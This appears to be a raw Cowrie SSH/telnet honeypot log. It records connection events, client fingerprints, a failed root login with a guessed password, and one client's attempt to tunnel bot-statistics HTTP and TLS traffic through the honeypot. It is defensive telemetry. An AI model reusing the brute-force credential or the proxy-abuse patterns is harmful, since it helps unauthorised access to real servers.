{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:40.180075Z","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:40.391104Z","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:40.734735Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.1.28 (KHTML, like Gecko) Version/9.1.2 Safari/604.1.28\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=XlprPkQxQyFzYjZTOVBjRg%3D%3DVxdVhOttFxU2Cx88ptTVNkA%2Bveywg2ptUxbq7xAsFayuCCf70jcbGm7Rw8sq2RcOYc0IQMDKNyTTrxHQWHykpvQEdcxX3EmkgtyzLMuQs%2B%2FrZpEKi8rhOskXpWUEzjquvrCBM1%2BWMUAlzoxgkQaIll5iAQjeU4GeHDsH0hChrbKN0x2QtDYngtgIV6SfIaafG7U7ppKu5MAzyqZ4OeM%2B4%2FkoODQKFtamLEilFetJv19sf4L1LUMwb8HUX%2FOcaO6PprkhKffq4L2GXu7Zeil3IhtSBIcgcox8d7vksBPsiTAkTgqiegxmeRrqYXAaVg2AhYLgwVGu8UqFfc1V4wUjYJguE%2BuA9gaE%2FvXJtmLsQm9IU7J0bIAhjYmtjkJcWHpODp7KCF3w8NPmY4sW%2Bri6vAQvKBRJx5BohlE%2FicBdvVBHexABxXKGCogTsbD5eEJI3cq64wNB6Q2U4coYP5oGru6mV7PcC%2BLLaT1YGGoZoDtC8chtUDxeQqnyo6fAI4ylasZMUIb%2By5BSXAkDj%2BoOEUOBXkvRFffxIx67XOH6RsUrObsIWh6bxB%2BKbJ5HTUkE%2FqIP9PNQjgHDhMhbwJAdoUTghLWspFXsRyNcoPvw0HejnwSj0W%2FaqMlb4%2F4Np6PLGyUiWxOpHl8MmxpBCvgX4mueuZbyT%2BVLZNLGXSyvw8BCPvtd3tr2Zh%2Fut3FPy3yRxVytaROz%2F2yzK937DH7yoyNc0NikM4%2FUYG3nO%2BhOKQkLbZykdf2zmcyisHYowMmFzFsvbUgZh0akj%2BNRNSxqggy55jz5MavS4isL6f5VsL39TOLQMpnuOtvzlKxSqbat5pzRWcxtfpdihrwdKHylGaxEP3yTmtNP%2FTkWPCZFG3iYb3TwIszhiduY61I0I5MpuDE5uUBm61OKXu0DgZg0yU%2FbermOfBfRcMngPt73ptFK%2FDGIcFlHwpTxKA74er3GnKKlU3SYZKvDL8gj0VzTSoqiOsSlW8kwT%2F5RCoMREh4yoQ7AAtKjr%2FxFU4iB4A2mppqF5NXNS0KndjfyL0AOtfCiHpRylXm%2Bi8Zy8%2BeFkue9bS0Rko9%2B7v4A7GvUiCA%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.1.28 (KHTML, like Gecko) Version/9.1.2 Safari/604.1.28\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=XlprPkQxQyFzYjZTOVBjRg%3D%3DVxdVhOttFxU2Cx88ptTVNkA%2Bveywg2ptUxbq7xAsFayuCCf70jcbGm7Rw8sq2RcOYc0IQMDKNyTTrxHQWHykpvQEdcxX3EmkgtyzLMuQs%2B%2FrZpEKi8rhOskXpWUEzjquvrCBM1%2BWMUAlzoxgkQaIll5iAQjeU4GeHDsH0hChrbKN0x2QtDYngtgIV6SfIaafG7U7ppKu5MAzyqZ4OeM%2B4%2FkoODQKFtamLEilFetJv19sf4L1LUMwb8HUX%2FOcaO6PprkhKffq4L2GXu7Zeil3IhtSBIcgcox8d7vksBPsiTAkTgqiegxmeRrqYXAaVg2AhYLgwVGu8UqFfc1V4wUjYJguE%2BuA9gaE%2FvXJtmLsQm9IU7J0bIAhjYmtjkJcWHpODp7KCF3w8NPmY4sW%2Bri6vAQvKBRJx5BohlE%2FicBdvVBHexABxXKGCogTsbD5eEJI3cq64wNB6Q2U4coYP5oGru6mV7PcC%2BLLaT1YGGoZoDtC8chtUDxeQqnyo6fAI4ylasZMUIb%2By5BSXAkDj%2BoOEUOBXkvRFffxIx67XOH6RsUrObsIWh6bxB%2BKbJ5HTUkE%2FqIP9PNQjgHDhMhbwJAdoUTghLWspFXsRyNcoPvw0HejnwSj0W%2FaqMlb4%2F4Np6PLGyUiWxOpHl8MmxpBCvgX4mueuZbyT%2BVLZNLGXSyvw8BCPvtd3tr2Zh%2Fut3FPy3yRxVytaROz%2F2yzK937DH7yoyNc0NikM4%2FUYG3nO%2BhOKQkLbZykdf2zmcyisHYowMmFzFsvbUgZh0akj%2BNRNSxqggy55jz5MavS4isL6f5VsL39TOLQMpnuOtvzlKxSqbat5pzRWcxtfpdihrwdKHylGaxEP3yTmtNP%2FTkWPCZFG3iYb3TwIszhiduY61I0I5MpuDE5uUBm61OKXu0DgZg0yU%2FbermOfBfRcMngPt73ptFK%2FDGIcFlHwpTxKA74er3GnKKlU3SYZKvDL8gj0VzTSoqiOsSlW8kwT%2F5RCoMREh4yoQ7AAtKjr%2FxFU4iB4A2mppqF5NXNS0KndjfyL0AOtfCiHpRylXm%2Bi8Zy8%2BeFkue9bS0Rko9%2B7v4A7GvUiCA%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:40.737188Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:40.739992Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2\\xae\\xf1[\\x9cOk\\t\\xf8\\xc4\\x86\\xa0\\xb8\\xd4~\\xff\\x84\\x97\\xe0`\\xbd2\\xa5=\\xe1B\\xcc\\x1f\\x1c\\xd0uM P\\xe1\\x16\\xc6\\xe1=;uG\\xb84\\x90\\xf3\\x06R0\\xc2\\x83l\\\\\\xcak?6\\xbdzD\\xc8\\x19U\\xff\\x97\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1dL\\x0b\\xc3Gr\\xda\\x06\\x15\\x92F\\xee\\x99\\rq+&\\xc1\\xba\\xf0\\xa901\\x98\\x85\\xa1\\xf5\\x1d^,\\xebI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2\\xae\\xf1[\\x9cOk\\t\\xf8\\xc4\\x86\\xa0\\xb8\\xd4~\\xff\\x84\\x97\\xe0`\\xbd2\\xa5=\\xe1B\\xcc\\x1f\\x1c\\xd0uM P\\xe1\\x16\\xc6\\xe1=;uG\\xb84\\x90\\xf3\\x06R0\\xc2\\x83l\\\\\\xcak?6\\xbdzD\\xc8\\x19U\\xff\\x97\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1dL\\x0b\\xc3Gr\\xda\\x06\\x15\\x92F\\xee\\x99\\rq+&\\xc1\\xba\\xf0\\xa901\\x98\\x85\\xa1\\xf5\\x1d^,\\xebI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:40.742272Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:40.994894Z","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:41.249947Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe1y\\xa6\\xcezlDn\\xe7c\\xa8\\xeb;C\\x19\\x98\\xd3\\x1a`,\\x13Df;\\x8d:,\\x8a\\xd2M}\\xa9 \\x8a\\xeb\\xf9/\\xa2\\xb5\\x00\\x8d\\x174q\\xc9+\\x07\\xa6\\x8d\\x0c\\x88x\\x9c\"\\xb7\\x8e0S\\'\\x99\\x197c\\xb8\\xf8\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 $Z\\x8a\\x00T4\\x87\\x87r\\xeb\\x00\\xb8\\xfc\\x03\\xe1\\xfd\\xd5{VbXRZ\\x9d\\xc5\\xc4a\\x8a@#Y<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe1y\\xa6\\xcezlDn\\xe7c\\xa8\\xeb;C\\x19\\x98\\xd3\\x1a`,\\x13Df;\\x8d:,\\x8a\\xd2M}\\xa9 \\x8a\\xeb\\xf9/\\xa2\\xb5\\x00\\x8d\\x174q\\xc9+\\x07\\xa6\\x8d\\x0c\\x88x\\x9c\"\\xb7\\x8e0S\\'\\x99\\x197c\\xb8\\xf8\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 $Z\\x8a\\x00T4\\x87\\x87r\\xeb\\x00\\xb8\\xfc\\x03\\xe1\\xfd\\xd5{VbXRZ\\x9d\\xc5\\xc4a\\x8a@#Y<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:41.252883Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":38670,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee454ba910aa","protocol":"ssh","message":"New connection: 182.93.50.90:38670 (159.203.135.109:22) [session: ee454ba910aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:41.450641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:41.454370Z","src_ip":"182.93.50.90","session":"ee454ba910aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:41.582184Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:41.673432Z","src_ip":"182.93.50.90","session":"ee454ba910aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ff12345678","message":"login attempt [root/Ff12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:42.585811Z","src_ip":"182.93.50.90","session":"ee454ba910aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.799692153930664,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:42.674068Z","src_ip":"128.199.8.54","session":"bdf7cce8d8d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:43.818111Z","src_ip":"182.93.50.90","session":"ee454ba910aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39340,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac00c91498c","protocol":"telnet","message":"New connection: 172.81.62.90:39340 (159.203.135.109:23) [session: 7ac00c91498c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:44.073347Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39350,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d90a607aff2","protocol":"telnet","message":"New connection: 172.81.62.90:39350 (159.203.135.109:23) [session: 0d90a607aff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:45.086733Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61299,"dst_ip":"10.17.0.5","dst_port":22,"session":"63217823fd9f","protocol":"ssh","message":"New connection: 123.27.168.40:61299 (10.17.0.5:22) [session: 63217823fd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:45.701230Z"}
